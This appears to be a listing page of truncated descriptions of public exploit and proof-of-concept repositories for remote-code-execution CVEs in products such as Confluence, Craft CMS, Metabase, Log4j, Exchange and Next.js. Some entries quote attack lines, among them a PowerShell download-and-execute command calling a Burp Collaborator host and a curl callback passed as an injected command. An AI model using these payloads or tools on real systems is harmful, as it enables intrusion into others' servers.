CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - link bị dính lỗ hổng $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex'...

ConfluentPwn

ConfluentPwn Confluence pre-auth ONGL injection remote code execution scanner CVE-2022-26134. Usage The below GIF shows a demo usage of the tool: Here is the help output of the tool: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ +...

CVE-2025-49113

CVE-2025-49113 RCE exploit the method for username/password authentication in this Exploit comes in 4 steps the code is a bit messy...

CVE-2023-27842

CVE-2023-27842 eXtplorer 2.1.15 – Insecure Permissions following Remote Code Execution Authenticated Vendor Homepage: http://extplorer.net/ Software Link: http://extplorer.net/attachments/download/99/eXtplorer2.1.15.zip Version: 2.1.15 Installation git clone https://github.com/0xFTW/CVE-2023-2784...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS Pre-Auth RCE Pre-Authentication Remote Code Execution in Craft CMS Discovered & Developed by Mohammed Idrees Banyamer 📌 Overview CVE-2025-32432 is a critical pre-authentication Remote Code Execution RCE vulnerability affecting multiple versions of Craft CMS. By chaini...

PoC-CVE-2025-62222

PoC: CVE-2025-62222 - GitHub Copilot Chat RCE This repository contains a Proof of Concept PoC for the vulnerability CVE-2025-62222. It demonstrates how Remote Code Execution RCE can be achieved on a developer's machine by manipulating the context of GitHub Copilot Chat in VS Code via hidden promp...

CVE-2023-38646

CVE-2023-38646 Automatic Tools For Metabase RCE Exploit Known As CVE-2023-38646. Read https://secry.me/explore/news/metabase-rce-cve-2023-38646/ for more information POC, Dork How to Use single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" ...

CVE-2025-54100

CVE-2025-54100 – PowerShell Response Parsing PoC A concise Proof-of-Concept showing how CVE-2025-54100 can lead to Remote Code Execution RCE in Windows PowerShell 5.1 through malicious HTML parsing. Table of Contents What is CVE-2025-54100? How the PoC Works Quick Start Triggering From a Victim...

CVE-2023-50164-Apache-Struts-RCE

CVE-2023-50164: Apache Struts path traversal to RCE vulnerability A critical security vulnerability, identified as CVE-2023-50164 CVE: 9.8 was found in Apache Struts, allowing attackers to manipulate file upload parameters that can potentially lead to unauthorized path traversal and remote code...

CVE-2022-30887

CVE-2022-30887 Pharmacy Management System 1.0 Shell Upload This application built by Mayurik Pharmacy management system project in PHP has been developed to improve the accuracy and efficiency of pharmaceutical stores through security and management. In short, it is a product inventory applicatio...

CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP Remote Code Execution Vulnerability Research Comprehensive research to save you time, energy, sanity, & understanding. I want to start this off by saying that this specific CVE is like many in that due to its high severity score, it has gained an enormous amount...

CVE-2021-44228

CVE-2021-44228 Vulnerability recurrence 1. Run RmiServer first to create an RMI registry service. 2. Run Log4jTest, if you use Windows, the calculator will appear...

ProxyShell

ProxyShell CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability. This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and w...

Blackash-CVE-2025-33073

✨ CVE-2025-33073: Windows SMB RCE Vulnerability 🚨 🔥 High-Severity Authenticated Remote Code Execution 🔥 Improper Access Control in Windows SMB Client CWE-284 🛡️ Key Details at a Glance Aspect| Details ---|--- CVSS v3.1 Score| 8.8 High 🔥 Affected Systems| Windows 10, 11, Server 2012–2025 all...

CVE-2016-16113-POC

Get RCE - Bludit CMS Exploit | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| An automated exploitation tool that combines CVE-2019-17240 Authentication Bypass and CVE-2019-16113 Arbitrary File Upload to achieve remote code execution on...

cve-2011-2553

Notice: This repository contains educational material for testing in a controlled laboratory. Do not use the files or techniques described here against systems that are not your own or that do not have explicit authorization. The goal is learning and strengthening security. CVE-2011-2553 FTP...

react2shellpoc

This repository contains a proof‑of‑concept demonstrating how a specific class of React Server Component vulnerabilities behaves inside a controlled, legal training environment. Manual ┌──kali㉿kali-/Documents/tools/2025-55182 └─$ python exploit.py -h /\ /\ /\ /\ /\ /\ || CVE-2025-55182 React Serv...

CVE-2025-55182-react2shell

react2shell CVE-2025-55182 toolkit. Scanner + exploit for unauthenticated RCE in Next.js via RSC payload injection. Node.js exploit: zero dependencies. Bash scanner: checks single URLs or bulk lists. Exploit Single command with output ./react2shell.mjs -t http://target:3000 -c "id" Interactive...

CVE-2019-9580

CVE-2019-9580 - StackStorm exploiting CORS null origin to gain RCE Prior to 2.10.3/2.9.3, if the origin of the request was unknown, we would return null. null can result in a successful request from an unknown origin in some clients. Allowing the possibility of XSS style attacks against the...

vbox_cve_2017_10235

CVE-2017-10235: VirtualBox E1000 device buffer overflow Introduction The following document details a bug found in VirtualBox v5.1.22 now fixed in v5.1.24, in the guest device emulation component DevE1000 Intel 82540EM Ethernet Controller Emulation, in the function e1kFallbackAddToFrame, which...